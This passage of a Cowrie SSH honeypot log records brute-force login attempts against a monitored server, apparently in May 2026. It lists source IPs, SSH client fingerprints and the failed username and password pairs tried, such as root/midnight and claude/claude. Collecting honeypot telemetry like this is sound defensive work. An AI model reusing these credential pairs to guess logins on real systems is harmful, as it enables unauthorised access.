cm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:01.674595Z","src_ip":"103.243.24.124","session":"b9ee3a4f2e02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:02.091600Z","src_ip":"103.243.24.124","session":"b9ee3a4f2e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:03.303782Z","src_ip":"103.243.24.124","session":"b9ee3a4f2e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":55824,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5c63c50ab9d","protocol":"ssh","message":"New connection: 43.134.104.184:55824 (159.203.135.109:22) [session: d5c63c50ab9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:06.599391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:06.604339Z","src_ip":"43.134.104.184","session":"d5c63c50ab9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:06.841663Z","src_ip":"43.134.104.184","session":"d5c63c50ab9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"midnight","message":"login attempt [root/midnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:07.824062Z","src_ip":"43.134.104.184","session":"d5c63c50ab9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:09.065128Z","src_ip":"43.134.104.184","session":"d5c63c50ab9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":58284,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c43f2e45923","protocol":"ssh","message":"New connection: 193.32.162.151:58284 (159.203.135.109:22) [session: 1c43f2e45923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:09.297212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:09.302977Z","src_ip":"193.32.162.151","session":"1c43f2e45923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:09.408864Z","src_ip":"193.32.162.151","session":"1c43f2e45923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:09.722169Z","src_ip":"193.32.162.151","session":"1c43f2e45923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:10.831009Z","src_ip":"193.32.162.151","session":"1c43f2e45923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":40806,"dst_ip":"159.203.135.109","dst_port":22,"session":"81239f793558","protocol":"ssh","message":"New connection: 43.134.112.237:40806 (159.203.135.109:22) [session: 81239f793558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:23.232889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:23.239260Z","src_ip":"43.134.112.237","session":"81239f793558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:23.484720Z","src_ip":"43.134.112.237","session":"81239f793558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd12","message":"login attempt [root/asdasd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:24.499790Z","src_ip":"43.134.112.237","session":"81239f793558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":60666,"dst_ip":"10.17.0.5","dst_port":22,"session":"57cdeee2f6b5","protocol":"ssh","message":"New connection: 103.96.74.162:60666 (10.17.0.5:22) [session: 57cdeee2f6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:25.393374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:25.398639Z","src_ip":"103.96.74.162","session":"57cdeee2f6b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:25.648612Z","src_ip":"103.96.74.162","session":"57cdeee2f6b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:25.747927Z","src_ip":"43.134.112.237","session":"81239f793558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima","message":"login attempt [root/dima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:26.488052Z","src_ip":"103.96.74.162","session":"57cdeee2f6b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:27.833457Z","src_ip":"103.96.74.162","session":"57cdeee2f6b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":44790,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4437e83af84","protocol":"ssh","message":"New connection: 103.172.78.219:44790 (10.17.0.5:22) [session: e4437e83af84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:39.982705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:39.996461Z","src_ip":"103.172.78.219","session":"e4437e83af84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:40.243591Z","src_ip":"103.172.78.219","session":"e4437e83af84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:41.258971Z","src_ip":"103.172.78.219","session":"e4437e83af84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:42.517728Z","src_ip":"103.172.78.219","session":"e4437e83af84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":36850,"dst_ip":"10.17.0.5","dst_port":22,"session":"af0f55a5df36","protocol":"ssh","message":"New connection: 185.40.30.168:36850 (10.17.0.5:22) [session: af0f55a5df36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:42.992904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:42.999148Z","src_ip":"185.40.30.168","session":"af0f55a5df36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:43.127451Z","src_ip":"185.40.30.168","session":"af0f55a5df36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZJlt","message":"login attempt [root/ZJlt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:43.675589Z","src_ip":"185.40.30.168","session":"af0f55a5df36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:44.807275Z","src_ip":"185.40.30.168","session":"af0f55a5df36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":49518,"dst_ip":"159.203.135.109","dst_port":22,"session":"857d8426a05e","protocol":"ssh","message":"New connection: 69.49.246.176:49518 (159.203.135.109:22) [session: 857d8426a05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:47.749888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:47.757411Z","src_ip":"69.49.246.176","session":"857d8426a05e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:47.784572Z","src_ip":"69.49.246.176","session":"857d8426a05e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:47.926497Z","src_ip":"69.49.246.176","session":"857d8426a05e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:48.965719Z","src_ip":"69.49.246.176","session":"857d8426a05e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":46046,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec637fdfa0bc","protocol":"ssh","message":"New connection: 168.144.95.137:46046 (10.17.0.5:22) [session: ec637fdfa0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:01.591877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:01.598159Z","src_ip":"168.144.95.137","session":"ec637fdfa0bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:01.819907Z","src_ip":"168.144.95.137","session":"ec637fdfa0bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"froze","message":"login attempt [root/froze] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:02.700743Z","src_ip":"168.144.95.137","session":"ec637fdfa0bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:03.918128Z","src_ip":"168.144.95.137","session":"ec637fdfa0bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":33310,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a39d6563414","protocol":"ssh","message":"New connection: 103.77.175.15:33310 (10.17.0.5:22) [session: 6a39d6563414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:07.565926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:38:07.570822Z","src_ip":"103.77.175.15","session":"6a39d6563414","protocol":"ssh"}
